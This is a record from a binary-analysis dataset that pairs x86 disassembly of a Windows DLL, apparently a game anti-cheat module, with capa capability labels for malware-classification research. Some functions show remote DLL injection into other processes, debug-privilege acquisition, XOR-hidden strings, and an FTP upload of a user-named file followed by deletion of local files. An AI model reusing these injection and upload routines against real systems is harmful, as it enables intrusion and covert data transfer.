joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100051c0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100059f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x10005310
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x28
mov eax, dword [0x10040bd0]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x100053d2
cmp byte [esi + 0x3d], 0
je 0x100053d2
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x100053bf
mov ecx, dword [esi + 0x38]
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140D.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10005383
sub eax, 1
je 0x10005387
sub eax, 2
jne 0x100053bf
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10027810
add esp, 0x28
ret
mov byte [esi + 0x3d], 0
mov edi, dword [esp + 8]
lea eax, [esp + 0xc]
sub edi, eax
je 0x100053a7
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.ucrtbased.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x100053bf
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10027810
add esp, 0x28
ret
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.10027810
add esp, 0x28
ret
mov ecx, dword [esp + 0x28]
mov al, 1
pop esi
xor ecx, esp
call fcn.10027810
add esp, 0x28
ret
Function at 0x10005a80
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x30
mov eax, dword [0x10040bd0]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x38]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10005ab0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10005ae1
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10005ae1
call dword [sym.imp.MSVCP140D.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10005beb
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10005b0a
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10005b3f
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.ucrtbased.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
lea eax, [esp + 0x10]
mov byte [esp + 0xc], bl
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1d]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140D.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x10005ba7
sub eax, 1
je 0x10005ba7
sub eax, 2
jne 0x10005beb
push dword [esi + 0x4c]
push dword [esp + 0x10]
call fcn.10004900
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x18]
sub edi, eax
je 0x10005bc7
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.ucrtbased.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10005beb
lea eax, [esp + 0xc]
mov byte [esi + 0x3d], 1
cmp dword [esp + 0x14], eax
je 0x10005beb
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
mov ecx, dword [esp + 0x38]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10027810
add esp, 0x30
ret 4
Function at 0x10006380
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 0xc]
push ebx
mov ebx, ecx
push ebp
mov ebp, dword [esp + 0x10]
test eax, eax
jg 0x1000639f
jl 0x10006396
test ebp, ebp
jne 0x1000639f
pop ebp
xor eax, eax
xor edx, edx
pop ebx
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100063b6
push eax
push ebp
push dword [esp + 0x14]
call dword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop ebp
pop ebx
ret 0xc
mov eax, dword [ebx + 0x1c]
push esi
push edi
mov edi, ebp
mov ecx, dword [eax]
test ecx, ecx
je 0x100063f6
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x100063f6
mov edi, dword [esp + 0x14]
cmp eax, ebp
mov esi, ebp
cmovb esi, eax
push esi
push ecx
push edi
call sub.VCRUNTIME140D.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x20], edi
add esp, 0xc
mov edi, ebp
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
mov esi, dword [esp + 0x14]
je 0x1000646c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10006423
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [sym.imp.ucrtbased.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x10006458
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x1000647e
cmp edi, eax
mov eax, dword [sym.imp.ucrtbased.dll_fread]
ja 0x10006432
test ecx, ecx
je 0x1000646c
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov edx, dword [esp + 0x1c]
sub ebp, ecx
pop edi
pop esi
mov eax, ebp
sbb edx, 0
pop ebp
pop ebx
ret 0xc
mov edx, dword [esp + 0x1c]
sub ebp, edi
pop edi
pop esi
mov eax, ebp
sbb edx, 0
pop ebp
pop ebx
ret 0xc
Function at 0x10006490
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x100064b5
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
add esp, 8
ret 0xc
mov eax, dword [ebx + 0x20]
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov ecx, dword [eax]
mov dword [esp + 0xc], esi
push edi
mov edi, dword [esp + 0x24]
mov dword [esp + 0x14], edi
test ecx, ecx
je 0x100064d8
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x100064da
xor eax, eax
cdq
mov ebp, eax
mov eax, edx
mov dword [esp + 0x20], eax
test edi, edi
jl 0x10006555
jg 0x100064ed
test esi, esi
je 0x10006555
test eax, eax
jl 0x10006537
jg 0x100064f7
test ebp, ebp
je 0x10006537
cmp edi, eax
jg 0x10006507
jl 0x10006501
cmp esi, ebp
jae 0x10006507
mov ebp, esi
mov dword [esp + 0x20], edi
push ebp
push dword [esp + 0x20]
push ecx
call sub.VCRUNTIME140D.dll_memcpy
mov eax, dword [ebx + 0x30]
add esp, 0xc
mov ecx, dword [esp + 0x1c]
sub esi, ebp
sbb edi, dword [esp + 0x20]
add ecx, ebp
sub dword [eax], ebp
mov eax, dword [ebx + 0x20]
add dword [eax], ebp
test edi, edi
jl 0x10006555
jg 0x1000653b
test esi, esi
je 0x10006555
jmp 0x1000653b
mov ecx, dword [esp + 0x1c]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10006555
push eax
push esi
push 1
push ecx
call dword [sym.imp.ucrtbased.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 0xc

Function at 0x10006570
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100066d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x1000b550
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000b7b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x1000b570
Capabilities:
Create thread
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002927b
mov eax, dword fs:[0]
push eax
sub esp, 0x168
push esi
mov eax, dword [0x10040bd0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [eax], 0x8b55ff8b
je 0x1000b792
cmp dword [0x1004106c], 1
jne 0x1000b630
push 1
push 0x40
push 8
push 0x1002c04c
lea ecx, [ebp - 0x174]
call fcn.10004a10
lea eax, [ebp - 0x174]
mov dword [ebp - 4], 0
push str._nSP_Scan:
push eax
call fcn.100045b0
lea eax, [ebp - 0x174]
push 0x1002c070
push eax
call fcn.100045b0
add esp, 0x10
lea ecx, [ebp - 0x170]
call fcn.100054f0
test eax, eax
jne 0x1000b61e
push eax
mov eax, dword [ebp - 0x174]
lea ecx, [ebp - 0x174]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], 0xffffffff
call fcn.10005000
cmp dword [0x1004107c], 1
jne 0x1000b70f
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ucrtbased.dll__time64]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ucrtbased.dll__localtime64]
add esp, 8
lea ecx, [ebp - 0xc4]
mov esi, eax
push 1
push 0x40
push 8
push 0x1002c088
call fcn.10004a10
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 1
push 0x1002c08c
push eax
call fcn.100045b0
push esi
call dword [sym.imp.ucrtbased.dll_asctime]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.100045b0
lea eax, [ebp - 0xc4]
push str.SP_Scan:
push eax
call fcn.100045b0
lea eax, [ebp - 0xc4]
push 0x1002c0ac
push eax
call fcn.100045b0
lea eax, [ebp - 0xc4]
push 0x1002c0c4
push eax
call fcn.100045b0
add esp, 0x2c
lea ecx, [ebp - 0xc0]
call fcn.100054f0
test eax, eax
jne 0x1000b6f7
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 2
push 0x1002c0ec
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xc4]
call fcn.10005000
mov eax, dword [0x10041070]
push 0
cmp eax, 1
jne 0x1000b741
push 0
push 0
push 0x1000b4a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1000b751
push 0
push 0
push 0x1000b420
jmp 0x1000b724
cmp eax, 3
jne 0x1000b761
push 0
push 0
push 0x1000b520
jmp 0x1000b724
cmp eax, 4
jne 0x1000b73b
push 0
push 0
push 0x10026da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x200010
push str.SP_Scan
push str.Speed_Hack_detected_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1000b739
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000bf00
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ecx
mov eax, dword [0x10041070]
push ebx
push ebp
push esi
push edi
cmp eax, 1
jne 0x1000bf7b
mov dword [esp + 0x10], 0x1002c8d8
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000bf5f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000bf59
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000bf43
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1000bfec
mov dword [esp + 0x10], 0x1002c958
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000bfd0
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000bfca
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000bfb4
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x10], 0x1002c9f0
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000c03c
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000c036
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000c020
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000c060
Capabilities:
Create thread

Disassembly:
cmp dword [0x10040f70], 0
jne 0x1000c07e
push 0
push 0
push 0
push 0x1000cf00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x10040f6c], 0
jne 0x1000c09c
push 0
push 0
push 0
push fcn.1000c0a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
ret
Function at 0x1000c350
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call fcn.1000c900
mov eax, dword [0x10041070]
cmp eax, 1
jne 0x1000c3d0
mov dword [esp + 0x10], 0x1002c708
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000c3b4
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000c3ae
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000c398
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1000c448
mov dword [esp + 0x10], 0x1002c7a0
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000c42c
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000c426
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000c410
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [esp + 0x10], 0x1002c840
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000c49c
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000c496
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000c480
mov byte [edi + ebp], 0
mov esi, edi
push 0x200030
push dword [0x10040fec]
push esi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000c530
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
mov dword [esp + 4], 0x1002cb60
mov ebx, dword [esp + 4]
push esi
mov esi, dword [esp + 8]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1000c58e
mov eax, dword [ebx + 0xf]
push ebp
inc eax
push edi
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov ebp, dword [ebx + 0xf]
add esp, 4
xor edx, edx
mov edi, eax
test ebp, ebp
je 0x1000c586
sub esi, edi
nop dword [eax + eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
cmp edx, ebp
jb 0x1000c570
mov byte [edi + ebp], 0
mov esi, edi
pop edi
pop ebp
lea eax, [esp + 0xc]
push eax
push 0x20019
push 0
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
pop ebx
test eax, eax
jne 0x1000c5e0
mov dword [esp], eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0
push str.MoveImages
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c5db
call fcn.1000c7d0
xor eax, eax
add esp, 0xc
ret
call fcn.1000c700
xor eax, eax
add esp, 0xc
ret

Function at 0x1000c720
Capabilities:
Get token membership

Disassembly:
sub esp, 0x18
mov eax, dword [0x10040bd0]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
xor esi, esi
mov dword [esp + 8], 0
lea eax, [esp + 4]
mov dword [esp + 4], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [esp + 0x38]
mov dword [esp + 0x38], esi
push eax
mov word [esp + 0x40], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1000c77f
lea eax, [esp + 8]
push eax
push dword [esp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x1000c787
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [esp + 4]
test eax, eax
je 0x1000c79e
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [esp + 4], 0
test esi, esi
jne 0x1000c7b6
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 8]
pop esi
xor ecx, esp
call fcn.10027810
add esp, 0x18
ret
push 0x1003d294
lea eax, [esp + 0x10]
mov dword [esp + 0x10], esi
push eax
call sub.VCRUNTIME140D.dll__CxxThrowException
int3

Function at 0x1000c7e0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000c800
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x1000cd90
Capabilities:
Create thread
Terminate process

Disassembly:
push 0
push 0
push 0
push 0x1000cc30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10040f64]
inc eax
mov dword [0x10040f64], eax
cmp eax, 1
je 0x1000cc00
xor eax, eax
ret

Function at 0x1000d300
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
sub esp, 0x20
mov eax, dword [0x10040bd0]
xor eax, esp
mov dword [esp + 0x1c], eax
cmp dword [0x10041094], 1
jne 0x1000d330
call fcn.1000d860
mov eax, 1
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.10027810
add esp, 0x20
ret
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000d3d2
lea eax, [esp + 4]
push eax
push 0x1002ce94
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000d3d2
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
push 0x10
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x14]
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000d3d2
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000d3d2
push 0
push 0
push 0
push 0x1000d170
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.10027810
add esp, 0x20
ret
mov ecx, dword [esp + 0x1c]
xor eax, eax
xor ecx, esp
call fcn.10027810
add esp, 0x20
ret
Function at 0x1000d830
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x1002ce74
push 0x1002ce84
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x18]
mov ebp, eax
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000d7c6
mov esi, dword [esp + 0x14]
sub ecx, edx
push 4
push 0x3000
push ecx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, edi
mov ebx, eax
lea eax, [edx + 1]
nop dword [eax + eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x1000d7f0
push 0
sub edx, eax
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebx
push ebp
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret
mov eax, dword [esp + 4]
test eax, eax
je 0x1000d853
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000d853
mov dword [esp + 4], eax
jmp 0x1000d7a0
xor al, al
ret

Function at 0x1000d860
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000d780
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x1000d8e0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000e420
push 0
push 0
call esi
push 0
push 0
push 0
push 0x1000e440
push 0
push 0
call esi
push 0
push 0
push 0
push 0x1000e210
push 0
push 0
call esi
pop esi
ret
Function at 0x1000f160
Capabilities:
Connect to http server
Create http request
Delete file
Get session user name
Send file using ftp

Disassembly:
sub esp, 0x6c
mov eax, dword [0x10040bd0]
xor eax, esp
mov dword [esp + 0x68], eax
lea eax, [esp]
mov dword [esp], 0x64
push eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1000f1fd
push esi
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x10040fe0]
mov edi, eax
push dword [0x10040fdc]
push 0x15
push dword [0x10040fd8]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push 2
push eax
push 0x1002da44
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x1000f20c
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov esi, dword [sym.imp.ucrtbased.dll_remove]
push 0x1002da4c
call esi
push 0x1002da54
call esi
add esp, 8
pop edi
pop esi
mov ecx, dword [esp + 0x68]
xor ecx, esp
call fcn.10027810
add esp, 0x6c
ret
push 0x1002da58
call dword [sym.imp.ucrtbased.dll_remove]
add esp, 4
call fcn.1000edf0
int3